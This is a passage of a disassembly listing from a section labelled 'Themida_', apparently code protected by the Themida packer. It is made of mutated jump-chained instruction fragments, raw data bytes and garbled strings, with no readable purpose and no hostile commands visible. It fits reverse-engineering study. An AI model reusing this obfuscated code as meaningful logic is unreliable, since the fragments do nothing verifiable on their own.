		pop	ebp
		xor	ebp, 20A9585Bh
		jmp	loc_551A60
; ---------------------------------------------------------------------------

loc_54DE55:				; CODE XREF: Themida_:005533A1j
		mov	[esp], edi
		push	0E1478B6h
		pop	edi
		add	dword ptr [esp+4], 568211B9h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 568211B9h
		pop	edi
		pop	dword ptr [edi+40h]
		sub	dword ptr [edi+40h], 0E1478B6h
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54C6EF
; ---------------------------------------------------------------------------

loc_54DE8B:				; CODE XREF: Themida_:0054CF74j
		add	edi, eax
		pop	eax
		add	ebp, 1EED4D5Bh
		jmp	loc_55451F
; ---------------------------------------------------------------------------

loc_54DE99:				; CODE XREF: Themida_:0054477Cj
		shr	esi, 5
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 478E0517h
		push	57D0h
		mov	[esp], edx
		jmp	loc_556A25
; ---------------------------------------------------------------------------
		db 81h
		dd 491ED6C3h, 3C3817Ah,	0FF1E0D45h, 51582434h, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0AE95C24h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DEDF:				; CODE XREF: Themida_:00553E3Cj
		xor	eax, 357D7C1Ah
		shl	eax, 5
		shr	eax, 4
		xor	eax, 0EFAB824h
		jmp	loc_55096A
; ---------------------------------------------------------------------------
		dd 0ADE9D988h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DEFB:				; CODE XREF: Themida_:00556A0Cj
		push	32AFh
		jmp	loc_548AFA
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 52h
		dd 0EA4069BAh, 3CE28133h, 50306E54h, 75B9BD55h,	0A1B81E57h
		dd 2DF11207h, 7116126Ch, 5E75E9h, 881FB200h, 0B0505AD7h
		dd 0C4B551EFh, 78A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DF39:				; CODE XREF: Themida_:00544635j
		add	edx, 55F279A0h
		mov	ecx, [esp]
		add	esp, 4
		add	eax, edx
		pop	edx
		jmp	loc_54EDC9
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 5C243487h, 31243433h, 34332434h, 24248B24h, 240C8966h
		dd 0FF5332E9h
		db 0FFh
aMGfrsskv	db '╛,GfRSИ╙╒',0        ; DATA XREF: Themida_:00543018o
		align 4
		dd 25E9C721h, 30FFFFF7h, 80C8E9EEh, 6C81FFFFh, 0D990824h
		dd 0B9515C7Ah, 7EBF754Eh, 0C244C29h, 6D27E959h,	0E6C00000h
		dd 0C81BE908h, 0C380FFFFh, 0F6C3807Ah, 593E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DFAD:				; CODE XREF: Themida_:00547737j
		shr	eax, 12h
		jmp	loc_553762
; ---------------------------------------------------------------------------

loc_54DFB5:				; CODE XREF: Themida_:00552CD2j
		pop	edi
		pop	eax
		push	esi
		mov	esi, 41B34127h
		and	esi, 599E617Fh
		jmp	loc_54424D
; ---------------------------------------------------------------------------
		dd 5EF768h, 240C8900h, 0FFE9E189h, 87000056h, 895C240Ch
		dd 0EC812414h, 4, 24048F54h, 4240481h, 8B000000h, 0C4812414h
		dd 4, 4C281h, 0EC830000h, 0C0CCE904h, 0F66FFFFh, 5166C8B6h
		dd 5289E99Ch
		db 2 dup(0FFh)
word_54E012	dw 8B66h		; DATA XREF: Themida_:005430C4o
		dd 0EC83240Ch, 24048904h, 0EC815854h, 4, 0BB241C89h, 0C861B66h
		dd 0D51FE943h, 0E689FFFFh, 4C681h, 0C6830000h, 24348704h
		dd 0E924248Bh, 4ABCh
; ---------------------------------------------------------------------------

loc_54E048:				; CODE XREF: Themida_:00555A4Bj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54617E
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 5F04247Ch,	83242C8Bh, 21E904ECh, 66000069h
		dd 2827B551h, 805966EFh, 0DFF6E1E7h, 2861EF80h,	0B3535BFEh
		dd 0AFAAE90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E086:				; CODE XREF: Themida_:00556829j
		xor	ebx, 20103802h
		mov	ecx, ebx
		jmp	loc_545255
; ---------------------------------------------------------------------------

loc_54E093:				; CODE XREF: Themida_:0055276Dj
		inc	ebx
		add	ebx, 58855BEAh
		shl	ebx, 1
		shr	ebx, 1
		jmp	loc_545CCD
; ---------------------------------------------------------------------------
aS3		db '^И╥3',0
		db 0
byte_54E0A9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005431B8o
		dd 5224048Bh, 0C2815A54h, 4, 8704C283h,	6BE92414h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E0C3:				; CODE XREF: Themida_:005512B6j
		push	5C5Ah
		jmp	loc_54D610
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 1A8EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E0D5:				; CODE XREF: Themida_:005482F5j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		jmp	loc_55420C
; ---------------------------------------------------------------------------
		dw 0CA89h
		dd 0E9D60159h, 0FFFF91C4h, 0E0C1D8F7h, 2DD8F708h, 676B0C7h
		dd 0FFC510E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E101:				; CODE XREF: Themida_:0054474Bj
		push	ebp
		jmp	loc_545E4D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF518Fh, 4C6815Eh, 68000000h, 7DC9h, 0E9241C89h
		dd 0FFFFBAEFh, 4EC81h, 0C890000h, 8009E924h, 79B8FFFFh
		dd 0E96CD861h, 0FFFFA64Ch
; ---------------------------------------------------------------------------

loc_54E138:				; CODE XREF: Themida_:00556127j
		mov	ebp, esi
		jmp	loc_549091
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFBC52E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E145:				; CODE XREF: Themida_:00545F5Ej
		sub	bl, cl
		add	bl, 0
		pop	ecx
		jmp	loc_54351B
; ---------------------------------------------------------------------------

loc_54E150:				; CODE XREF: Themida_:00545142j
		mov	[esp], ebx
		jmp	loc_556C0C
; ---------------------------------------------------------------------------

loc_54E158:				; CODE XREF: Themida_:00553B80j
		pop	ebp
		add	edx, 3575F8FEh
		push	ebx
		mov	ebx, 5F686DE8h
		add	eax, 10D528BFh
		jmp	loc_54C734
; ---------------------------------------------------------------------------
		db 0B9h
		dd 5D73542Dh, 0C981D1F7h, 10A77B40h, 0F701C183h, 1784E9D9h
		dd 0E9010000h, 4E9815Dh, 87000000h, 895C240Ch, 0DB68242Ch
		dd 5D417E68h, 748FE9h, 2474FF00h, 0FF95E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E1AA:				; CODE XREF: Themida_:00551CA3j
		pop	eax
		add	esp, 4
		jmp	loc_548EC0
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 0FFD1D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E1BD:				; CODE XREF: Themida_:0054D60Bj
		add	esp, 4
		jmp	loc_54C24C
; ---------------------------------------------------------------------------

loc_54E1C8:				; CODE XREF: Themida_:0054E860j
		sub	edx, 0FFFFFFFFh
		xor	edx, 0FC347A6Ch
		mov	esi, edx
		jmp	loc_544470
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 3488E958h,	0BF570000h, 28612AC3h, 5B5FFE01h
		dd 6E5170BBh, 28E2E970h, 0F5890000h, 7AE9515Eh,	81FFFFF4h
		dd 4C6h, 6235E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E20E:				; CODE XREF: Themida_:00553017j
		mov	ebx, 849396FEh
		sub	eax, ebx
		pop	ebx
		push	eax
		pop	ebp
		pop	eax
		add	ebp, ebx
		pop	ebx
		and	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_556296
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFEB21E9h, 241489FFh, 4EC81h, 24890000h, 24048324h
		dd 4FA1E904h, 0C3810000h, 4, 5C241C87h,	0FF5046E9h, 2434FFFFh
		dd 7437E95Eh, 0BA52FFFFh, 31104982h, 0FF6562E9h, 0FCBD55FFh
		dd 0E9636F2Ah, 9674h
; ---------------------------------------------------------------------------

loc_54E274:				; CODE XREF: Themida_:00550D13j
		mov	ebx, 0A0A2B0Bh
		and	edi, ebx
		mov	ebx, [esp]
		jmp	loc_54ED32
; ---------------------------------------------------------------------------
		db 5Ah
		dd 986E981h, 0E98177DEh, 60B93C46h, 0C181E901h,	60B93C46h
		dd 986C181h, 815D77DEh,	4C1h, 0C755E900h, 0C683FFFFh, 24348704h
		dd 5724248Bh, 0C781E789h, 4, 8704C783h,	0F0E9243Ch, 51FFFF6Bh
		dd 9200E9h, 24348900h, 321764BEh, 46DEF772h, 4070E946h
		dd 0D1880000h, 0A2E9C888h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E2E7:				; CODE XREF: Themida_:0054DB7Ej
		add	esp, 4
		mov	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_54CC6C
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 0C4D0F37h, 87D2E9h, 48F5A00h, 83E95C24h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E30F:				; CODE XREF: Themida_:005463A4j
		mov	esi, [esp]
		add	esp, 4
		mov	edx, esi
		pop	esi
		push	esi
		mov	esi, 7B1B442Ah
		neg	esi
		jmp	loc_54B497
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 895C241Ch, 68B5240Ch, 0FF8802E9h,	0E9D5F7FFh
		dd 0FFFFD8F2h, 5C24048Fh, 2C181h, 0C870000h, 24248B24h
		dd 24048B66h, 92FEE953h, 0ACBFFFFFh, 81257506h,	1BB4DAF7h
		dd 5FF93130h, 27298B2Dh, 0E9C82947h, 89AEh
; ---------------------------------------------------------------------------

loc_54E374:				; CODE XREF: Themida_:00544AABj
		sub	ebp, ebx
		jmp	loc_54F2D3
; ---------------------------------------------------------------------------

loc_54E37B:				; CODE XREF: Themida_:0054FC4Bj
		xor	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_54369E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 13E92414h, 8100004Ah, 4ECh, 240C8900h, 4B9h
		dd 59CA2900h, 5C241487h, 68241489h, 5CDFh, 52240C89h, 746DBA68h
		dd 6D8CE94Bh, 0E9520000h, 0FFFFFB61h, 51240C8Bh, 0FF5A14E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E3D1:				; CODE XREF: Themida_:005553FEj
		add	esp, 4
		push	edx
		mov	edx, 52A27613h
		add	ecx, edx
		jmp	loc_5473D6
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0DD7E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E3E9:				; CODE XREF: Themida_:0054904Ej
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_543D16
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF9DB0E9h, 51D0B9FFh, 0E9812AC4h, 2FBA1EF9h, 75F6E181h
		dd 14E95AA6h, 56FFFFEAh, 0C681E689h, 4,	4C681h,	34870000h
		dd 0A9685C24h, 89000061h, 0A9B9240Ch, 8144D54Ch, 4076F2C1h
		dd 0E1C1497Dh, 25C18102h, 29708669h, 0A1B0E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E462:				; CODE XREF: Themida_:00551FC3j
		not	ebp
		xchg	ebp, [esp]
		pop	esi
		inc	esi
		push	eax
		push	ebp
		mov	ebp, 5CD903B9h
		mov	eax, 0D31B3AC9h
		sub	eax, ebp
		jmp	loc_554698
; ---------------------------------------------------------------------------

loc_54E47C:				; CODE XREF: Themida_:0054C473j
		xchg	esi, [esp]
		pop	esp
		xor	esi, 0C71EE459h
		push	4762h
		jmp	loc_5549E6
; ---------------------------------------------------------------------------
		dd 0E7768h, 7285E900h, 29590000h, 0DCC281C2h, 0E91C6915h
		dd 8430h, 0FF2434FFh, 81582434h, 4C4h, 0F196800h, 0DDE90000h
		dd 0FEFFFF69h, 17E951C2h, 8BFFFFFEh, 37E9241Ch,	68FFFFD7h
		dd 7E21h, 8B243C89h, 78E92434h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E4DF:				; CODE XREF: Themida_:00553513j
		pop	edi
		jmp	loc_543B69
; ---------------------------------------------------------------------------
a1H6a		db '1ьh6A',0
		align 4
		dd 0FFF172E9h, 241489FFh, 0FFF90FE9h, 81CF29FFh, 400933C7h
		dd 0EC85E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E506:				; CODE XREF: Themida_:00548994j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54E5A4
; ---------------------------------------------------------------------------
		db 83h
		dd 0EF8101EFh, 785C36ACh, 176ABD55h, 0C5814638h, 67A62DC2h
		dd 2475CD81h, 4545603Bh, 2668ED81h, 4FE95CA6h, 6600002Ch
		dd 0E9C8B60Fh, 513Dh, 0E9C32859h, 8B76h, 0C181E189h, 4
		dd 3304C183h, 0C31240Ch, 240C3324h, 70C0E95Ch, 0F75AFFFFh
		dd 1CF752D2h, 0B8F3E924h, 1489FFFFh, 1C6BA24h, 0D1890A44h
		dd 25B8E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E57E:				; CODE XREF: Themida_:00555476j
		push	eax
		mov	eax, 15F449DFh
		sub	edi, eax
		jmp	loc_555C1D
; ---------------------------------------------------------------------------
		db 53h
		dd 0F028C7BBh, 5BDA290Bh, 0FFB029E9h, 0CEE81FFh, 0E9650678h
		dd 0FFFFBC3Ch
; ---------------------------------------------------------------------------

loc_54E5A4:				; CODE XREF: Themida_:0054E50Aj
		add	esp, 4
		jmp	loc_554ABD
; ---------------------------------------------------------------------------
aCs_t		db 'CИ_▓',0
		align 2
		dw 0E801h
		dd 81242C8Bh, 4C4h, 0E2E95000h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E5C3:				; CODE XREF: Themida_:00545119j
		mov	[esp], ebx
		mov	ebx, 45A875FDh
		mov	edi, 0DC3C8D2Bh
		add	edi, ebx
		jmp	loc_553D33
; ---------------------------------------------------------------------------
		db 81h
		dd 8EDAB1F3h, 5BD831F6h, 0E958C721h, 0FFFFA24Fh, 0BA52E589h
		dd 4, 575AD501h, 4BFh, 8BFD2900h, 0C481243Ch, 4, 5C242C87h
		dd 51243489h, 0FE59F5B9h, 5E1C142h, 5CE18141h, 81293C4Bh
		dd 28A5CAE9h, 4EC83BFh,	81240C89h, 50E22434h, 815E50E1h
		dd 0E150E2F6h, 240C8B50h, 8104C483h, 209BCCC6h,	20232DB6h
		dd 0F0295B89h, 2023BF57h, 88E95B89h, 8900001Dh,	6855241Ch
		dd 5D820AA0h, 0FFE892E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E661:				; CODE XREF: Themida_:0054A9FAj
		add	edi, ebx
		jmp	loc_5582BA
; ---------------------------------------------------------------------------
		dd 5C0ADEBFh, 5FFD0952h, 0F49FF581h, 0AE9A539h,	66FFFFBAh
		dd 4EEC058h, 8003E6C0h,	0E9510DF6h, 0FFFFB854h
; ---------------------------------------------------------------------------

loc_54E68C:				; CODE XREF: Themida_:0054953Aj
		push	ebp
		jmp	loc_551B78
; ---------------------------------------------------------------------------
aZsK		db 'ZИфk',0
		align 4
		dd 4EC835Bh, 0E9240C89h, 0FFFF6A7Ah
; ---------------------------------------------------------------------------

loc_54E6A4:				; CODE XREF: Themida_:0054D92Cj
		pop	edx
		or	edi, eax
		pop	eax
		push	0
		sub	[esp], edi
		jmp	loc_546E41
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 57210000h, 2434FF1Ch, 8124148Bh, 4ECh, 24048900h
		dd 372F68h, 24248900h, 3021E955h, 0B8E90000h, 0B1FFFF4Bh
		dd 66CE0001h, 70EE8059h, 748FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E6F1:				; CODE XREF: Themida_:00549642j
		add	esp, 4
		push	edi
		mov	edi, 36672146h
		add	esi, edi
		pop	edi
		jmp	loc_54D5B4
; ---------------------------------------------------------------------------
aFYsV		db '╬ЙfдyИфv',0
		dw 5400h
		dd 0E924048Fh, 8493h, 0FF4B7EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E71D:				; CODE XREF: Themida_:00550BB2j
		add	ebx, edx
		pop	edx
		jmp	loc_555A25
; ---------------------------------------------------------------------------

loc_54E725:				; CODE XREF: Themida_:00553DDCj
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5566AD
; ---------------------------------------------------------------------------
		dw 3005h
		dd 297B3E5Dh, 5D302DE8h, 875D7B3Eh, 2AE92404h, 81000047h
		dd 9C807FC1h, 59CD89FBh, 2805C581h, 0DFE906A0h,	5B000061h
		dd 45888B8h, 0E0C14008h, 6F066805h, 4890000h, 2414F724h
		dd 5A8CE958h, 6850FFFFh, 190C3AA7h, 0FF884BE9h,	22B450FFh
		dd 286EEA80h, 6EC280E2h, 8BD00058h, 0C4812414h,	4, 464A68h
		dd 24348900h, 0DA68E689h, 89000075h, 0ADE9240Ch, 5FFFFF7Ch
		dd 2FDE68h, 24348900h, 0FF4BE4E9h, 0C1BB53FFh, 0E9750401h
		dd 3DDDh, 8124048Bh, 4C4h, 247C0100h, 2434FF04h, 4C4815Fh
		dd 5E000000h, 2ED8E9h, 24048B00h, 4C481h, 0F3010000h, 5624348Bh
		dd 0C681E689h, 4, 0FFBFC3E9h
		db 0FFh
byte_54E805	db 68h,	0E8h, 67h	; DATA XREF: Themida_:00542FD8o
		dd 1C890000h, 91ABB24h,	0C381574Fh, 440066D9h, 52F768h
		dd 243C8900h, 4F6BF368h, 0EB815F9Bh, 1F871813h,	0E0E9FB29h
		dd 0F700000Eh, 0D2EE81D6h, 8157F370h, 7940CDCEh, 4EC8138h
		dd 89000000h, 3CE9242Ch
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E84F:				; CODE XREF: Themida_:00552539j
		xchg	esi, ebx
		and	ebx, 2AA86AB2h
		add	ebx, 1250119Dh
		and	edx, ebx
		pop	ebx
		jmp	loc_54E1C8
; ---------------------------------------------------------------------------
		db 58h,	0C1h, 0E9h
		dd 0FFE98107h, 0E9FFFFFFh, 0FFFF8FA1h
; ---------------------------------------------------------------------------

loc_54E874:				; CODE XREF: Themida_:00546C05j
		shr	eax, 2
		inc	eax
		add	eax, 455FA38h
		jmp	loc_54A493
; ---------------------------------------------------------------------------
		dw 7401h
		dd 44810424h, 15F30424h, 21E91F10h, 29FFFF8Ch, 4875EF0h
		dd 0D5EDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E89E:				; CODE XREF: Themida_:0054B68Dj
		push	eax
		mov	eax, 530F12AFh
		dec	eax
		or	eax, 1F101935h
		neg	eax
		inc	eax
		xor	eax, 0A0E0E446h
		jmp	loc_5505BA
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF5EA6E9h, 5EF131FFh, 505AE952h, 6C01FFFFh,	6C810824h
		dd 6CA30824h, 0E95D7618h, 0FFFFCAEAh, 8324048Bh, 0F22904C4h
		dd 5E2434FFh, 4C481h, 57E90000h, 87FFFFC3h, 0E9D6F7F2h
		dd 0FFFF5ACFh, 0FF499EE9h, 240487FFh, 4603E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E906:				; CODE XREF: Themida_:00547E37j
		mov	esi, 417917B3h
		and	ecx, esi
		pop	esi
		add	ecx, 13CC43D6h
		sub	edx, 550C6714h
		add	edx, 0EDF1DA0h
		jmp	loc_54F3A8
; ---------------------------------------------------------------------------
		db 68h,	0Ah, 6Dh
		dd 0C8B4584h, 4C48124h,	81000000h, 7B932EC1h, 0B86851BAh
		dd 8900000Eh, 83572404h, 53E904ECh, 5A00006Fh, 0FF7906E9h
		dd 80DE00FFh, 97E99DC6h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E95B:				; CODE XREF: Themida_:0054DDF6j
		push	esi
		push	eax
		jmp	loc_5495F1
; ---------------------------------------------------------------------------

loc_54E962:				; CODE XREF: Themida_:00550E8Fj
		mov	edx, [esp]
		jmp	loc_54BB02
; ---------------------------------------------------------------------------

loc_54E96A:				; CODE XREF: Themida_:00546BDDj
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_54E96F:				; CODE XREF: Themida_:005525E6j
		sub	esi, 2EB06AB1h
		add	esi, edx
		add	esi, 2EB06AB1h
		push	eax
		mov	eax, 25C573Ah
		sub	eax, 0E3D4ED37h
		push	ebp
		mov	ebp, 60F72CFh
		sub	ebp, 9CF60417h
		sub	esi, 6BE10D08h
		jmp	loc_551014
; ---------------------------------------------------------------------------
aSsh		db '^ИХH',0
		dd 2434FF00h, 0E0895059h, 405h,	4C08300h, 8B240487h, 0EC812424h
		dd 4, 0E9242C89h, 0FFFFCE7Eh, 4B850h, 0C7810000h, 1315CBEh
		dd 0EF81C701h, 1315CBEh, 4C78358h, 8B243C87h, 4872424h
		dd 5DE8E924h, 0CC30FFFFh, 0EB805966h, 0C22FE91Ch, 0EB81FFFFh
		dd 4, 5C241C87h, 54240489h, 0E92434FFh,	4B82h
; ---------------------------------------------------------------------------

loc_54EA10:				; CODE XREF: Themida_:0054BB67j
		add	esp, 4
		push	edx
		mov	edx, edi
		mov	ebx, edx
		pop	edx
		pop	edi
		jmp	loc_54FA32
; ---------------------------------------------------------------------------

loc_54EA22:				; CODE XREF: Themida_:00556877j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54A86F
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 0FFA7DBE9h, 8DBD55FFh, 0E9285379h, 0FFFFB6A5h, 4BB53h
		dd 6C810000h, 550424h, 5C0159D2h, 44810424h, 550424h, 0BEE959D2h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EA67:				; CODE XREF: Themida_:0054D5BCj
		add	esi, 20005AC1h
		jmp	loc_54C252
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 28BDE9h, 0FBF18100h,	31098D7Ch, 0D50159CAh, 4C5835Ah
		dd 8B242C87h, 0D8012424h, 1E5E951h, 0C4830000h,	24048F04h
		dd 0E924248Bh, 0FFFF9B47h, 0D80105BAh, 3FBE563Bh, 8169130Ch
		dd 3B7844F6h, 40C6810Dh, 4E24B425h, 0FFFFEE81h,	5257FFFFh
		dd 16FAE9h, 243C8900h, 24048156h, 23813EDFh, 0DFEF815Fh
		dd 8923813Eh, 815E5FFBh, 9E41F0C3h, 81D30135h, 9E41F0EBh
		dd 88515235h, 59CE88C1h, 4EC81h, 0C890000h, 88F18824h
		dd 148B590Bh, 4C48324h,	0FF2434FFh, 815B2434h, 4C4h, 4C48100h
		dd 0E9000000h, 0FFFF477Bh, 51525A66h, 0FF6765E9h, 0DE2158FFh
		dd 83241C8Bh, 6804C4h, 29000000h, 0B7E92434h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EB3F:				; CODE XREF: Themida_:0054C8DAj
		sub	ecx, 517223FFh
		add	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 33C928F4h
		sub	ebx, edi
		pop	edi
		sub	ebx, ebp
		push	ecx
		jmp	loc_544689
; ---------------------------------------------------------------------------

loc_54EB59:				; CODE XREF: Themida_:00551B63j
		pop	ax
		push	ecx
		mov	cl, dl
		jmp	loc_5492BB
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 7BF7E9h, 243C8B00h, 0FFC5A7E9h
		dd 5BEE81FFh, 83317673h, 48904ECh, 2E13B824h, 0FAE97C11h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EB8F:				; CODE XREF: Themida_:005556A2j
		add	edi, eax
		pop	eax
		jmp	loc_5441A2
; ---------------------------------------------------------------------------
		db 29h
		dd 8BF589EEh, 0C4812434h, 4, 0EC81DDF7h, 4, 0BE243489h
		dd 0F973F8B9h, 0E95EF501h, 84BDh, 79E9CA89h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EBC3:				; CODE XREF: Themida_:005471B4j
		add	esp, 4
		jmp	loc_55265F
; ---------------------------------------------------------------------------

loc_54EBCE:				; CODE XREF: Themida_:00557B7Dj
		mov	ecx, 664F61BCh
		shr	ecx, 5
		xor	ecx, 3327B09h
		jmp	loc_5443AB
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 91h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EBE7:				; CODE XREF: Themida_:0054D358j
		mov	ebp, eax
		pop	eax
		xor	ebp, 32942C43h
		jmp	loc_5552A8
; ---------------------------------------------------------------------------
		db 1, 0EBh, 0E9h
		dd 0FFFFA991h
; ---------------------------------------------------------------------------

loc_54EBFC:				; CODE XREF: Themida_:005510B6j
		add	ebx, 4
		jmp	loc_5547C6
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF572434h, 49A16CDAh, 505FFE89h, 4327E3B8h,	0F8D7BB24h
		dd 0C3290E9Fh, 0E9F30158h, 0FFFFC1C9h, 1194E954h, 0E9520000h
		dd 1C14h, 666C68h, 243C8900h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 6352E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC52:				; CODE XREF: Themida_:0054CE59j
		add	dword ptr [esp+4], 1C3368C5h
		sub	dword ptr [esp+4], 633E6047h
		sub	dword ptr [esp+4], 3B8B79D4h
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 3B8B79D4h
		jmp	loc_551AFC
; ---------------------------------------------------------------------------
		db 0B9h
		dd 3721358Bh, 1406105h,	0EEBD5569h, 810E8A1Ch, 0BE26FAC5h
		dd 0E6C7E92Ah, 895CFFFFh, 0E954240Ch, 7350h
; ---------------------------------------------------------------------------

loc_54ECA0:				; CODE XREF: Themida_:00555AB5j
		push	edx
		jmp	loc_5496F2
; ---------------------------------------------------------------------------

loc_54ECA6:				; CODE XREF: Themida_:005501E0j
		mov	edx, 32551040h
		jmp	loc_544CA5
; ---------------------------------------------------------------------------
		dd 2C781h, 3C870000h, 8E345C24h, 65E9C108h, 29FFFF78h
		dd 24148BD3h, 4C481h, 0C3290000h, 0FFF1E2E9h, 243C8BFFh
		dd 32EBE9h, 4B95100h, 1000000h,	0E259E9CEh, 0E0C1FFFFh
		dd 129F3503h, 0DE05043Ah, 893F77F8h, 0EA8158C2h, 0CA26F80Ch
		dd 39BCBB53h, 0DF296E28h, 0FF79F2E9h, 89505EFFh, 0C8BE56E0h
		dd 5200A37Ah, 5C853CBAh, 5AD601FFh, 535EF001h, 468h, 241C8B00h
		dd 8E13E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ED32:				; CODE XREF: Themida_:0054E27Ej
		add	esp, 4
		push	esi
		mov	esi, 8092B09h
		sub	edi, 3E8A271Ch
		sub	edi, esi
		add	edi, 3E8A271Ch
		pop	esi
		push	eax
		jmp	loc_5432D9
; ---------------------------------------------------------------------------

loc_54ED50:				; CODE XREF: Themida_:005541BBj
		sub	edi, esi
		jmp	loc_555794
; ---------------------------------------------------------------------------

loc_54ED57:				; CODE XREF: Themida_:005479B3j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_546DE7
; ---------------------------------------------------------------------------

loc_54ED7E:				; CODE XREF: Themida_:00552392j
		mov	al, 0
		jmp	loc_54767E
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 5F11E95Ch, 0E1890000h, 1060E9h, 0E9F12900h, 3A4Dh
; ---------------------------------------------------------------------------

loc_54ED9C:				; CODE XREF: Themida_:0054A606j
		shl	eax, 6
		add	eax, 65ED3A98h
		inc	eax
		push	esi
		mov	esi, 0FE18ECD5h
		jmp	loc_550DA0
; ---------------------------------------------------------------------------

loc_54EDB0:				; CODE XREF: Themida_:00549482j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, eax
		push	ebx
		jmp	loc_54D71C
; ---------------------------------------------------------------------------

loc_54EDC1:				; CODE XREF: Themida_:00557113j
		sub	edx, ecx
		pop	ecx
		jmp	loc_558185
; ---------------------------------------------------------------------------

loc_54EDC9:				; CODE XREF: Themida_:0054DF48j
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_5576D7
; ---------------------------------------------------------------------------
		dw 0FDBAh
		dd 5275ED28h, 81243C8Bh, 4C4h, 24148B00h, 4C481h, 6EE90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EDF3:				; CODE XREF: Themida_:00555F3Fj
		mov	ecx, 7C380952h
		xor	ecx, 51A94E79h
		add	ecx, 0DF8B2368h
		xor	edi, ecx
		pop	ecx
		add	edi, 1EEDDEA6h
		add	eax, 3D7F7724h
		sub	eax, 8CE39DAh
		sub	eax, edi
		add	eax, 8CE39DAh
		sub	eax, 3D7F7724h
		pop	edi
		add	eax, edi
